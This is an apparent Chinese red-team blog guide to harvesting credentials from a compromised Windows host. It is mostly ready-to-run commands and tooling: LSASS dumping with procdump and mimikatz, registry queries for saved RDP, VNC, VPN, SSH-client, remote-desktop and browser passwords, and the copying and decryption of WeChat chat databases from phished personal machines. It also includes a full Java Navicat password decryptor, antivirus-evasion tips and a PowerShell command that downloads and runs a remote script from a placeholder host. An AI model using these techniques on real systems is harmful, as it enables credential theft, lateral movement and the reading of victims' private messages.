内网凭据密码收集指南
原创投稿作者:深蓝实验室天威战队
前言
在攻防场景下,红队人员拿下一台终端或服务器后,第一步要做的往往就是信息收集,为最大化利用权限,扩大战果,密码抓取必不可少,这里针对常见应用软件和系统等密码抓取做了记录和总结,希望能帮助你作为参考。
![null 241d5d9487c607892a41aab6bb3871a5.png](https://img-blog.csdnimg.cn/img_convert/241d5d9487c607892a41aab6bb3871a5.png)
RDP凭证
本机RDP密码
抓取本机RDP密码是一个我们常遇到的场景,通常使用mimikatz抓取RDP密码。
![null a657d2bb351261aca4e16a46cc3fb22e.png](https://img-blog.csdnimg.cn/img_convert/a657d2bb351261aca4e16a46cc3fb22e.png)
当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,这时抓取的明文密码为空。
![null 1d3440ad60abee803410ae21325b8989.png](https://img-blog.csdnimg.cn/img_convert/1d3440ad60abee803410ae21325b8989.png)
可以尝试解密NTLM获取明文密码。
![null 746b5244e0b624c298fa32c2e600e9fd.png](https://img-blog.csdnimg.cn/img_convert/746b5244e0b624c298fa32c2e600e9fd.png)
上不了线的情况下,也可以在webshell中来dump内存,保存到本地解密即可。Dump内存的工具有很多,这里我们使用procdump64.exe为例进行dump内存:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
![null 9828cec2b6523c0c3cd2b16e1b075569.png](https://img-blog.csdnimg.cn/img_convert/9828cec2b6523c0c3cd2b16e1b075569.png)
然后本地使用mimikatz进行解密:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
![null ed97c692ed6ded4b7ef94df73a5aedef.png](https://img-blog.csdnimg.cn/img_convert/ed97c692ed6ded4b7ef94df73a5aedef.png)
文件lsass.dmp的导出可以有多种方式:procdump,avdump,sqldumper,comsvcs.dll等等,这里不过多赘述,能够免杀转储即可。
RDP登录凭证
mimikatz
当我们使用Windows自带的远程桌面登录成功并选择保存凭据时,会在本地留下rdp登录凭证,如果我们获得了远程桌面的凭证,可以方便我们进行渗透测试中的横向移动。查看本机链接过哪些机器:
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
获取Credentials:
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
![null 94f3f834bd20fde4bdea45d062c780fa.png](https://img-blog.csdnimg.cn/img_convert/94f3f834bd20fde4bdea45d062c780fa.png)
获取guidMasterKey
mimikatz.exe "dpapi::cred /in:%userprofile%\AppData\Local\Microsoft\Credentials\Credentials值" exit
![null 4f228b0b6ff66143142757a77fc1397f.png](https://img-blog.csdnimg.cn/img_convert/4f228b0b6ff66143142757a77fc1397f.png)
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" > cerd.txt
查找guid对应的MasterKey:
![null 483b94d07367b6b4c1157e11675b8964.png](https://img-blog.csdnimg.cn/img_convert/483b94d07367b6b4c1157e11675b8964.png)
解密获取明文rdp凭证:
mimikatz.exe "dpapi::cred /in:%userprofile%\AppData\Local\Microsoft\Credentials\ Credentials值/masterkey:masterkey值" exit
![null 832f1c9ac6c9cfe860226ed6a44ef29d.png](https://img-blog.csdnimg.cn/img_convert/832f1c9ac6c9cfe860226ed6a44ef29d.png)
netpass
也可以利用netpass直接抓取密码,使用时注意对应系统版本,下载地址:https://www.nirsoft.net/utils/network_password_recovery.html
![null f5ff363931ead5a2cb3a278af9706910.png](https://img-blog.csdnimg.cn/img_convert/f5ff363931ead5a2cb3a278af9706910.png)
同时netpass也提供了命令行版本,下载页面:https://www.nirsoft.net/password_recovery_tools.html
![null 7cc2fde60df1905dc3a971e870e72206.png](https://img-blog.csdnimg.cn/img_convert/7cc2fde60df1905dc3a971e870e72206.png)
VNC密码
UltraVNC
默认配置路径:
c:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini
![null 814e0d928d5405260a2bbac83e57e08f.png](https://img-blog.csdnimg.cn/img_convert/814e0d928d5405260a2bbac83e57e08f.png)
解密工具:https://github.com/jeroennijhof/vncpwd
![null d64f1030dad34d23f08bbb4e51714896.png](https://img-blog.csdnimg.cn/img_convert/d64f1030dad34d23f08bbb4e51714896.png)
TightVNC
TightVNC的加密后密码存在注册表里内,注意查询需要管理员权限。
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v ControlPassword
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v password
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v RfbPort
解密工具:https://github.com/jeroennijhof/vncpwd
![null fda808c8f7a953e935bb4c7979382470.png](https://img-blog.csdnimg.cn/img_convert/fda808c8f7a953e935bb4c7979382470.png)
![null 4c468ef325e3cd19fef649fa50872260.png](https://img-blog.csdnimg.cn/img_convert/4c468ef325e3cd19fef649fa50872260.png)
RealVNC
RealVNC别名WinVNC,RealVNC的加密后密码存在注册表里内,注意查询需要管理员权限。
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v password
解密工具:https://github.com/jeroennijhof/vncpwd
![null e000e91faef0cc2dcb057cff6c61f208.png](https://img-blog.csdnimg.cn/img_convert/e000e91faef0cc2dcb057cff6c61f208.png)
TigerVNC
TigerVNC的加密后密码存在注册表里内,查询无需管理员权限。
reg query HKEY_CURRENT_USER\SOFTWARE\TigerVNC\WinVNC4 /v "password"
解密工具:https://github.com/jeroennijhof/vncpwd
![null 9ab490277e79df5535a1479badec9621.png](https://img-blog.csdnimg.cn/img_convert/9ab490277e79df5535a1479badec9621.png)
VPN密码
Windows自带VPN连接,如果在配置VPN时选择记住此密码则会保存连接信息。
![null 59b4d80302b11d334aaa0339406f2bec.png](https://img-blog.csdnimg.cn/img_convert/59b4d80302b11d334aaa0339406f2bec.png)
默认保存连接信息目录
%AppData%\Roaming\Microsoft\Network\Connections\Pbk
![null f47a22541fc3c9132a8e701ecc1ce957.png](https://img-blog.csdnimg.cn/img_convert/f47a22541fc3c9132a8e701ecc1ce957.png)
我们可以使用Dialupass来获取VPN密码信息,注意需要管理员权限,Dialupass使用说明和下载地址:https://www.nirsoft.net/utils/dialupass.html
![null d5c3afefe21533414cd970a337a54586.png](https://img-blog.csdnimg.cn/img_convert/d5c3afefe21533414cd970a337a54586.png)
同时Dialupass也提供了命令行版本,下载页面:https://www.nirsoft.net/password_recovery_tools.html
![null 77499ab936edac19074bcec94e07a977.png](https://img-blog.csdnimg.cn/img_convert/77499ab936edac19074bcec94e07a977.png)
免杀:截至目前删除程序版本信息即可免杀360。
WiFi密码
WiFi信息查询命令,在cmd下执行,无需管理员权限。
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
![null 1962ae649d088b4dcc957d69ee720754.png](https://img-blog.csdnimg.cn/img_convert/1962ae649d088b4dcc957d69ee720754.png)
星号密码
在攻防场景下很多时候在主机或服务器上遇到一些软件配置使用了星号密码,我们可以直接尝试使用星号密码查看来获取明文密码,省去寻找和解密配置文件的时间。常用的星号密码查看器:
• Asterisk Password Spy[1] 支持180个应用软件密码查看
• peekPassword[2]
![null dc84e138cab9fc3947db2fc0ba778c41.png](https://img-blog.csdnimg.cn/img_convert/dc84e138cab9fc3947db2fc0ba778c41.png)
通信软件
个人微信
很多时候我们钓鱼控下的主机都安装了个人微信,很多时候会在微信上沟通密码等敏感信息,在攻防场景下,由于是个人主机不方便直接远程操作,所以我们可以下载其离线聊天数据库离线解密。
获取解密密钥
我们可以使用工具SharpWxDump[3]来获取解密密钥,使用该工具需要注意两点,一是编译工具选择x86架构,而是对方微信必须是在登录状态。
![null ab4e1aa151993f318660cf5c0c96ed83.png](https://img-blog.csdnimg.cn/img_convert/ab4e1aa151993f318660cf5c0c96ed83.png)
![null 9984050adafba1fe7b498ada491820f9.png](https://img-blog.csdnimg.cn/img_convert/9984050adafba1fe7b498ada491820f9.png)
下载聊天记录
微信聊天文件一般在:
%USERPROFILE%\Documents\WeChat Files\wxid_xxxxxxxxxxxxxx\Msg\MSG0.db
%USERPROFILE%\Documents\WeChat Files\wxid_xxxxxxxxxxxxxx\Msg\MSG1.db
%USERPROFILE%\Documents\WeChat Files\wxid_xxxxxxxxxxxxxx\Msg\MSG2.db
注意:如果MSG0.db的大小超出240MB会自动生成MSG1.db,以此类推。打包聊天文件:
cd /d C:\Users\Public
# 由于微信运行会占用此文件,需要进行复制。
copy "C:\Users\test\Documents\WeChat Files\wxid_ll8ukjje2na922\Msg\Multi\MSG0.db" MSG0.db
# 使用Windows系统自带命令进行压缩,方便快速下载。
makecab MSG0.db MSG0.cab
# 下载到本地后解压
expand MSG0.cab MSG0.db
解密聊天文件
下载ChatViewTool[4]后,将数据库密钥保存为文本文件DBPass.Bin,将解压后的聊天记录数据库MSG0.db放在同目录。
![null a5523c26cce8931fbd13ad52b5ce84d4.png](https://img-blog.csdnimg.cn/img_convert/a5523c26cce8931fbd13ad52b5ce84d4.png)
随后打开ChatViewTool点击数据库解密并选择密钥文件DBPass.Bin和聊天记录数据库MSG0.db所在的目录:
![null 40c4ddc4dba9c0c78b136c83eee1e5f6.png](https://img-blog.csdnimg.cn/img_convert/40c4ddc4dba9c0c78b136c83eee1e5f6.png)
待解密完成后,会生成MSG0.db_dec.db,将MSG0.db_dec.db放到一个新目录,点击查看数据库选择此目录即可完成会话展示,双击联系人列表可展示对应的聊天记录。
个人QQ
个人QQ由于有腾讯TP保护,导致不能动态地从个人QQ的内存获取其聊天数据库解密密钥,暂时无法解密,感兴趣可以阅读一文。
https://bbs.pediy.com/thread-266370.htm
运维开发
SVN
SVN类的版本控制软件如TortoiseSVN默认会将缓存的凭据保存到配置文件中,在Windows平台上默认会调用Windows数据保护API进行加密。
![null ac2ccad5b4eb76fbbdc2ca835347c430.png](https://img-blog.csdnimg.cn/img_convert/ac2ccad5b4eb76fbbdc2ca835347c430.png)
SVN类客户端软件默认配置文件目录:
%APPDATA%\Subversion\auth\svn.simple\
%APPDATA%\Roaming\Subversion\auth\svn.simple\
![null aec51c69f4f60e913080916a6225a9f1.png](https://img-blog.csdnimg.cn/img_convert/aec51c69f4f60e913080916a6225a9f1.png)
我们可工具以使用TSvnPwd来解密。工具下载地址:http://www.leapbeyond.com/ric/TSvnPD/
![null 57e683549633a6ecb0ceca61c11d335b.png](https://img-blog.csdnimg.cn/img_convert/57e683549633a6ecb0ceca61c11d335b.png)
FileZilla
简介:FileZilla客户端是一个快速可靠的、跨平台的FTP,FTPS和SFTP客户端。
![null a320a8aaa4cbbf2435d900981a139984.png](https://img-blog.csdnimg.cn/img_convert/a320a8aaa4cbbf2435d900981a139984.png)
找到FileZilla的默认配置文件目录:
%userprofile%\AppData\Roaming\FileZilla\recentservers.xml
%userprofile%\AppData\Roaming\FileZilla\sitemanager.xml
![null b62a43b6928f500468b7a8b7122305ff.png](https://img-blog.csdnimg.cn/img_convert/b62a43b6928f500468b7a8b7122305ff.png)
密码base64解码即可得到明文:
![null 1c9cd7131e1e009f89ecf34bf18c773c.png](https://img-blog.csdnimg.cn/img_convert/1c9cd7131e1e009f89ecf34bf18c773c.png)
也可以利用SharpDecryptPwd直接获取密码 工具下载地址:https://github.com/uknowsec/SharpDecryptPwd
SharpDecryptPwd.exe -FileZilla
![null b9e07affbc2dee4f45fd73cb0f0f8dea.png](https://img-blog.csdnimg.cn/img_convert/b9e07affbc2dee4f45fd73cb0f0f8dea.png)
Winscp
简介:WinSCP 是一个 Windows 环境下使用的 SSH 的开源图形化 SFTP 客户端。同时支持 SCP 协议。它的主要功能是在本地与远程计算机间安全地复制文件,并且可以直接编辑文件。
![null e44c5b54d42681cd99cc5c7dd14c49ff.png](https://img-blog.csdnimg.cn/img_convert/e44c5b54d42681cd99cc5c7dd14c49ff.png)
通过注册表获得密文:
reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions"
reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\root@192.168.192.128"
通过winscppwd.exe即可解密:
winscppwd.exe root 192.168.192.128 密文
![null 9f350631c5f046b5304d0e93bb7fe4cf.png](https://img-blog.csdnimg.cn/img_convert/9f350631c5f046b5304d0e93bb7fe4cf.png)
有时候管理员会导出配置为WinSCP.ini文件。
![null bcb8ec2541c28454b9b7d90f56a404dc.png](https://img-blog.csdnimg.cn/img_convert/bcb8ec2541c28454b9b7d90f56a404dc.png)
这时候直接查找该文件,然后解密即可。winscppwd下载地址:https://www.softpedia.com/get/Security/Password-Managers-Generators/winscppwd.shtml也可以使用SharpDecryptPwd直接获取密码
![null b4ec5664114902b3a99a72a0de01bacd.png](https://img-blog.csdnimg.cn/img_convert/b4ec5664114902b3a99a72a0de01bacd.png)
Xshell
简介:Xshell是一款功能强大的终端模拟器,支持SSH2,SSH3,SFTP,TELNET,RLOGIN和SERIAL。Xshell密码默认保存位置:
XShell 5:%userprofile%\Documents\NetSarang\Xshell\Sessions
XShell 6:%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions
XShell 7:%userprofile%\Documents\NetSarang Computer\7\Xshell\Sessions
SharpXDecrypt支持解密XShell所有版本,包括XShell 7:
![null 212477a583708d1812ae1a82853407db.png](https://img-blog.csdnimg.cn/img_convert/212477a583708d1812ae1a82853407db.png)
下载地址:https://github.com/JDArmy/SharpXDecrypt 注:XShell 7默认session里面的密码为空,这种可以使用星号密码查看器直接查看密码
![null a2ac658d7aa1d8068bdad80a85021a30.png](https://img-blog.csdnimg.cn/img_convert/a2ac658d7aa1d8068bdad80a85021a30.png)
FinalShell
简介:FinalShell是一体化的的服务器,网络管理软件,不仅是ssh客户端,还是功能强大的开发,运维工具。默认配置文件地址:
%userprofile%\AppData\Local\finalshell\conn\xxx.json
使用FinalShell-Decoder选择目录即可解密:
下载地址:https://github.com/passer-W/FinalShell-Decoder
SecureCRT
SecureCRT默认配置目录:
dir %APPDATA%\VanDyke\Config\Sessions\
SecureCRT 7.3.3之前的版本使用password加密算法,之后的版本使用password v2算法:
S:"Password"=u17cf50e394ecc2a06fa8919e1bd67cf0f37da34c78e7eb87a3a9a787a9785e802dd0eae4e8039c3ce234d34bfe28bbdc
S:"Password V2"=02:7b9f594a1f39bb36bbaa0d9688ee38b3d233c67b338e20e2113f2ba4d328b6fc8c804e3c02324b1eaad57a5b96ac1fc5cc1ae0ee2930e6af2e5e644a28ebe3fc
7.x 版本解密 [ 不带第一位 "u" ]
SecureCRTCipher.py dec 17cf50e394ecc2a06fa8919e1bd67cf0f37da34c78e7eb87a3a9a787a9785e802dd0eae4e8039c3ce234d34bfe28bbdc
8.x 版本解密 [ 不带前面三位 "02:" ]
SecureCRTCipher.py dec -v2 7b9f594a1f39bb36bbaa0d9688ee38b3d233c67b338e20e2113f2ba4d328b6fc8c804e3c02324b1eaad57a5b96ac1fc5cc1ae0ee2930e6af2e5e644a28ebe3fc
![null 5cec86c9eb6776b9583261e34af4aa00.png](https://img-blog.csdnimg.cn/img_convert/5cec86c9eb6776b9583261e34af4aa00.png)
SecureCRT下载地址:https://github.com/HyperSine/how-does-SecureCRT-encrypt-password
Mobaxterm
MobaXterm连接信息默认全部加密存于注册表中,解密两种情况。
无管理密码的解密
首先是先切到指定用户权限下,从注册表中读取连接信息和账密 hash,此处测试的 MobaXterm 版本为 12.04 ,该版本不会强制你为连接设置管理密码。
# reg query HKEY_CURRENT_USER\\Software\\Mobatek\\MobaXterm
# reg query HKEY_CURRENT_USER\\Software\\Mobatek\\MobaXterm\\P
之后再把密码 hash 粘回本地解密,要带上目标机器名 和 MobaXterm 的安装用户。
python3 MobaXtermCipher.py dec -sysh Motoo-IISWeb -sysu administrator -h 192.168.159.6 -u root +NYMdvHihPWokIa5KdDcjfIjb7pV1Qu***
带管理密码的解密
此处测试的 MobaXterm 为最新版 20.5,该版本每次连接都会强制你设置管理密码。
reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\P
python3 MobaXtermCipher.py dec -p admin!@#45 ehx0N63ueLNPkw==
Navicat
简介:Navicat Premium 是一套多连接数据库开发工具,可一次快速方便地访问多种数据库。
离线解密
首先查询Navicat注册表里的密码:
reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v host
reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v username
reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v pwd
![null 572349e8cf960df927980735724ac009.png](https://img-blog.csdnimg.cn/img_convert/572349e8cf960df927980735724ac009.png)
然后可以使用以下代码在线解密,注意Navicat版本:在线运行地址:https://www.nhooo.com/tool/java8/
![null 2aae4b280c03058a5050c7de64577f46.png](https://img-blog.csdnimg.cn/img_convert/2aae4b280c03058a5050c7de64577f46.png)
package org.example;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import javax.xml.bind.DatatypeConverter;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.util.Arrays;
public class Main {
public static void main(String []args) {
//navicat11版本解密
Navicat11Cipher de = new Navicat11Cipher();
System.out.println(de.decryptString("15057D7BA390"));
//navicat12以上版本解密
Navicat12Cipher de12 = new Navicat12Cipher();
System.out.println(de12.decryptString("503AA930968F877F04770B47DD731DC0"));
}
public static class Navicat11Cipher {
public static final String DefaultUserKey = "3DC5CA39";
private byte[] _IV;
private SecretKeySpec _Key;
private Cipher _Encryptor;
private Cipher _Decryptor;
private void initKey(String UserKey) {
try {
MessageDigest sha1 = MessageDigest.getInstance("SHA1");
byte[] userkey_data = UserKey.getBytes(StandardCharsets.UTF_8);
sha1.update(userkey_data, 0, userkey_data.length);
_Key = new SecretKeySpec(sha1.digest(), "Blowfish");
} catch (Exception e) {
e.printStackTrace();
}
}
private void initChiperEncrypt() {
try {
// Must use NoPadding
_Encryptor = Cipher.getInstance("Blowfish/ECB/NoPadding");
_Encryptor.init(Cipher.ENCRYPT_MODE, _Key);
} catch (Exception e) {
e.printStackTrace();
}
}
private void initChiperDecrypt() {
try {
// Must use NoPadding
_Decryptor = Cipher.getInstance("Blowfish/ECB/NoPadding");
_Decryptor.init(Cipher.DECRYPT_MODE, _Key);
} catch (Exception e) {
e.printStackTrace();
}
}
private void initIV() {
try {
byte[] initVec = DatatypeConverter.parseHexBinary("FFFFFFFFFFFFFFFF");
_IV = _Encryptor.doFinal(initVec);
} catch (Exception e) {
e.printStackTrace();
}
}
private void xorBytes(byte[] a, byte[] b) {
for (int i = 0; i < a.length; i++) {
int aVal = a[i] & 0xff; // convert byte to integer
int bVal = b[i] & 0xff;
a[i] = (byte) (aVal ^ bVal); // xor aVal and bVal and typecast to byte
}
}
private void xorBytes(byte[] a, byte[] b, int l) {
for (int i = 0; i < l; i++) {
int aVal = a[i] & 0xff; // convert byte to integer
int bVal = b[i] & 0xff;
a[i] = (byte) (aVal ^ bVal); // xor aVal and bVal and typecast to byte
}
}
{
initKey(DefaultUserKey);
initChiperEncrypt();
initChiperDecrypt();
initIV();
}
private byte[] Encrypt(byte[] inData) {
try {
byte[] CV = Arrays.copyOf(_IV, _IV.length);
byte[] ret = new byte[inData.length];
int blocks_len = inData.length / 8;
int left_len = inData.length % 8;
for (int i = 0; i < blocks_len; i++) {
byte[] temp = Arrays.copyOfRange(inData, i * 8, (i * 8) + 8);
xorBytes(temp, CV);
temp = _Encryptor.doFinal(temp);
xorBytes(CV, temp);
System.arraycopy(temp, 0, ret, i * 8, 8);
}
if (left_len != 0) {
CV = _Encryptor.doFinal(CV);
byte[] temp = Arrays.copyOfRange(inData, blocks_len * 8, (blocks_len * 8) + left_len);
xorBytes(temp, CV, left_len);
System.arraycopy(temp, 0, ret, blocks_len * 8, temp.length);
}
return ret;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
public String encryptString(String inputString) {
try {
byte[] inData = inputString.getBytes(StandardCharsets.UTF_8);
byte[] outData = Encrypt(inData);
return DatatypeConverter.printHexBinary(outData);
} catch (Exception e) {
e.printStackTrace();
return "";
}
}
private byte[] Decrypt(byte[] inData) {
try {
byte[] CV = Arrays.copyOf(_IV, _IV.length);
byte[] ret = new byte[inData.length];
int blocks_len = inData.length / 8;
int left_len = inData.length % 8;
for (int i = 0; i < blocks_len; i++) {
byte[] temp = Arrays.copyOfRange(inData, i * 8, (i * 8) + 8);
temp = _Decryptor.doFinal(temp);
xorBytes(temp, CV);
System.arraycopy(temp, 0, ret, i * 8, 8);
for (int j = 0; j < CV.length; j++) {
CV[j] = (byte) (CV[j] ^ inData[i * 8 + j]);
}
}
if (left_len != 0) {
CV = _Encryptor.doFinal(CV);
byte[] temp = Arrays.copyOfRange(inData, blocks_len * 8, (blocks_len * 8) + left_len);
xorBytes(temp, CV, left_len);
for (int j = 0; j < temp.length; j++) {
ret[blocks_len * 8 + j] = temp[j];
}
}
return ret;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
public String decryptString(String hexString) {
try {
byte[] inData = DatatypeConverter.parseHexBinary(hexString);
byte[] outData = Decrypt(inData);
return new String(outData, StandardCharsets.UTF_8);
} catch (Exception e) {
e.printStackTrace();
return "";
}
}
}
public static class Navicat12Cipher {
private SecretKeySpec _AesKey;
private IvParameterSpec _AesIV;
{
_AesKey = new SecretKeySpec("libcckeylibcckey".getBytes(StandardCharsets.UTF_8), "AES");
_AesIV = new IvParameterSpec("libcciv libcciv ".getBytes(StandardCharsets.UTF_8));
}
public String encryptString(String plaintext) {
try {
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, _AesKey, _AesIV);
byte[] ret = cipher.doFinal(plaintext.getBytes(StandardCharsets.UTF_8));
return DatatypeConverter.printHexBinary(ret);
} catch (Exception e) {
e.printStackTrace();
return "";
}
}
public String decryptString(String ciphertext) {
try {
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, _AesKey, _AesIV);
byte[] ret = cipher.doFinal(DatatypeConverter.parseHexBinary(ciphertext));
return new String(ret, StandardCharsets.UTF_8);
} catch (Exception e) {
e.printStackTrace();
return "";
}
}
}
}
SharpDecryptPwd
也可以直接1使用SharpDecryptPwd抓取密码:
![null 3508cedda9a2afa0e475da20663a8254.png](https://img-blog.csdnimg.cn/img_convert/3508cedda9a2afa0e475da20663a8254.png)
远程控制
TeamViewer
TeamViewer是远程访问、远程控制及远程支持解决方案,能够远程访问位于各地的计算机或移动设备。直接获取本机TeamViewer的ID以及密码:
SharpDecryptPwd.exe -TeamViewer
![null 6f5f3b12d29e5b6887a51bb646623d46.png](https://img-blog.csdnimg.cn/img_convert/6f5f3b12d29e5b6887a51bb646623d46.png)
SunLogin
旧版本
这里旧版本是指v11.0.0.38222以及以前的版本
![null 4cb84b2ccaa9361e968f2d9caa4b9d1e.png](https://img-blog.csdnimg.cn/img_convert/4cb84b2ccaa9361e968f2d9caa4b9d1e.png)
找到配置文件config.ini
安装版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
便携版(绿色版):C:\ProgramData\Oray\SunloginClient\config.ini
![null ae91ad1cf88f37d2021ceb6d9b4c1eaf.png](https://img-blog.csdnimg.cn/img_convert/ae91ad1cf88f37d2021ceb6d9b4c1eaf.png)
fastcode便是本机识别码,在这里是941244985 其中encry_pwd是本机验证码加密后的字段,我们使用工具即可解密 利用工具:https://github.com/wafinfo/Sunflower_get_Password
![null 5ebb7e87cace7742702802f443ec6800.png](https://img-blog.csdnimg.cn/img_convert/5ebb7e87cace7742702802f443ec6800.png)
解密得到本机验证码为4M9aON
较新版本
在向日葵v11.1.2.38529中,强化了加密机制,删除了配置文件config.ini中的fastcode(本机识别码)字段和encry_pwd(本机验证码)字段,而将这些敏感信息放到了注册表中,我们可以通过注册表查询使用Sunflower_get_Password[5]工具即可解密。
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo
最新版本
首先找到向日葵用户进程,然后使用procdump等工具转储进程内存。
tasklist /v | findstr /i sunlogin
procdump64.exe -accepteula -ma 进程号
![null 7737d5c7398f98fc44b919aca4e0101c.png](https://img-blog.csdnimg.cn/img_convert/7737d5c7398f98fc44b919aca4e0101c.png)
使用Winhex打开转储文件,按下Ctrl+Alt+X
快捷键打开十六进制值搜索功能,搜索十六进制值66617374636F646522203A20226b
,即可找到本机识别码。
![null 467db6b9dc504c89567c29562d27828a.png](https://img-blog.csdnimg.cn/img_convert/467db6b9dc504c89567c29562d27828a.png)
搜索十六进制值000000000000003C6620663D79616865692E626F6C642E323420633D636F6C6F725F65646974203E
,使用F3
快捷键可以跳到下一个匹配处,多跳2次即可找到本机验证码。
![null 79c5dc21d059ca57e5075678124380a1.png](https://img-blog.csdnimg.cn/img_convert/79c5dc21d059ca57e5075678124380a1.png)
ToDesk
本机连接
ToDesk的配置路径在安装目录下的config.ini。
![null e6a47e4df09e75569e09043da773c274.png](https://img-blog.csdnimg.cn/img_convert/e6a47e4df09e75569e09043da773c274.png)
clientId为设备ID,AuthMode为认证模式,0为仅使用临时密码,1为仅使用安全密码,2为都可以使用,tempAuthPassEx为加密后的临时密码,authPassEx为加密后的安全密码,我们只需本地安装一个最新版本ToDesk,退出ToDesk,然后复制配置文件config.ini中的tempAuthPassEx或authPassEx字段到本地进行替换,最后重新运行ToDesk即可查看密码。
![null 8b271351526d48c189a6399479593f19.png](https://img-blog.csdnimg.cn/img_convert/8b271351526d48c189a6399479593f19.png)
![null 16f05e585cdc2aa586f88209c54c3df8.png](https://img-blog.csdnimg.cn/img_convert/16f05e585cdc2aa586f88209c54c3df8.png)
远程连接
ToDesk默认会保存连接过的信息,记录的文件也是ToDesk安装目录下的userInfo.json文件,其中就有远程连接的设备ID,主机名,连接密码等密码信息。
![null 3db82a356bfe1d79b49ffd6b10f34a29.png](https://img-blog.csdnimg.cn/img_convert/3db82a356bfe1d79b49ffd6b10f34a29.png)
我们只需复制userInfo.json文件放在ToDesk安装目录下,重新运行ToDesk即可选择进行远程连接了,不需要输入密码。
![null bcb3ac21d62afa712cf054ad55a52e8b.png](https://img-blog.csdnimg.cn/img_convert/bcb3ac21d62afa712cf054ad55a52e8b.png)
浏览器
常见浏览器
WebBrowserPassView
WebBrowserPassView使用说明和下载地址:https://www.nirsoft.net/utils/web_browser_password.html WebBrowserPassView支持解密以下浏览器:
• Internet Explorer (Version 4.0 - 11.0)
• Mozilla Firefox (All Versions)
• Google Chrome
• Chromium-Based Edge
• Safari
• Opera
• Brave
• Waterfox
• SeaMonkey
• Vivaldi
• Yandex
• Chromium
![null 74a59a1611a3766ef51a1c08ca446648.png](https://img-blog.csdnimg.cn/img_convert/74a59a1611a3766ef51a1c08ca446648.png)
WebBrowserPassView也提供了命令行版本,下载页面:https://www.nirsoft.net/password_recovery_tools.html
![null ecb7185feca9d6a4135a878ac2f7bddf.png](https://img-blog.csdnimg.cn/img_convert/ecb7185feca9d6a4135a878ac2f7bddf.png)
WebBrowserPassView也支持离线解密:
![null 24d765f96f28c0083cda1bd487e218ea.png](https://img-blog.csdnimg.cn/img_convert/24d765f96f28c0083cda1bd487e218ea.png)
免杀:截至目前删除程序版本信息即可免杀360。
HackBrowserData
HackBrowserData 是一个浏览器数据(密码|历史记录|Cookie|书签|信用卡|下载记录|localStorage|浏览器插件)的导出工具,支持全平台主流浏览器。在Windows平台支持以下浏览器的密码,Cookie,书签和历史记录信息:
• Google Chrome
• Google Chrome Beta
• Chromium
• Microsoft Edge
• 360 极速浏览器
• QQ浏览器
• Brave
• Opera
• OperaGX
• Vivaldi
• Yandex
• CocCoc
• Firefox
• Firefox Beta
• Firefox Dev
• Firefox ESR
• Firefox Nightly
使用说明和下载地址:https://github.com/moonD4rk/HackBrowserData
![null 459dbbe721ef7a814141dac9a0b1614e.png](https://img-blog.csdnimg.cn/img_convert/459dbbe721ef7a814141dac9a0b1614e.png)
![null 76003096ae0bdc2569bab48f3d0d3aa0.png](https://img-blog.csdnimg.cn/img_convert/76003096ae0bdc2569bab48f3d0d3aa0.png)
IE浏览器
credgrap_ie_edge
工具地址:https://github.com/HanseSecure/credgrap_ie_edge 内存执行powershell解密即可
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xxx/credgrap_ie_edge.ps1')"
![null bbc1925b0db8324126561a129be27b95.png](https://img-blog.csdnimg.cn/img_convert/bbc1925b0db8324126561a129be27b95.png)
落地解密
![null 31a2b517b2c553dd73597f0da11cf9fd.png](https://img-blog.csdnimg.cn/img_convert/31a2b517b2c553dd73597f0da11cf9fd.png)
IE Passwords Viewer
可以直接使用iepv直接获取账密,使用说明和下载地址:https://www.nirsoft.net/utils/internet_explorer_password.html
![null 697a498817e130fec51a1e1210e29b87.png](https://img-blog.csdnimg.cn/img_convert/697a498817e130fec51a1e1210e29b87.png)
同时iepv也提供了命令行版本,下载页面:https://www.nirsoft.net/password_recovery_tools.html
![null 61413bf8029e977ddfe59b24db89ee94.png](https://img-blog.csdnimg.cn/img_convert/61413bf8029e977ddfe59b24db89ee94.png)
免杀:截至目前删除程序版本信息即可免杀360。
360安全浏览器
离线解密
首先切到指定用户权限下,获取机器id,
reg query "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY" /v "MachineGuid"
![null d2dff92f8f0dccf0c8085bc1a2e12152.png](https://img-blog.csdnimg.cn/img_convert/d2dff92f8f0dccf0c8085bc1a2e12152.png)
然后找到账密数据库文件assis2.db路径,将assis2.db下载到本地进行解密。
reg query "HKCR\360SeSES\DefaultIcon"
dir "C:\Users\aky\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis"
执行解密:
360SafeBrowserDecrypt.exe a9f521cd-2bd6-47fe-87db-69743456aa84 assis2.db
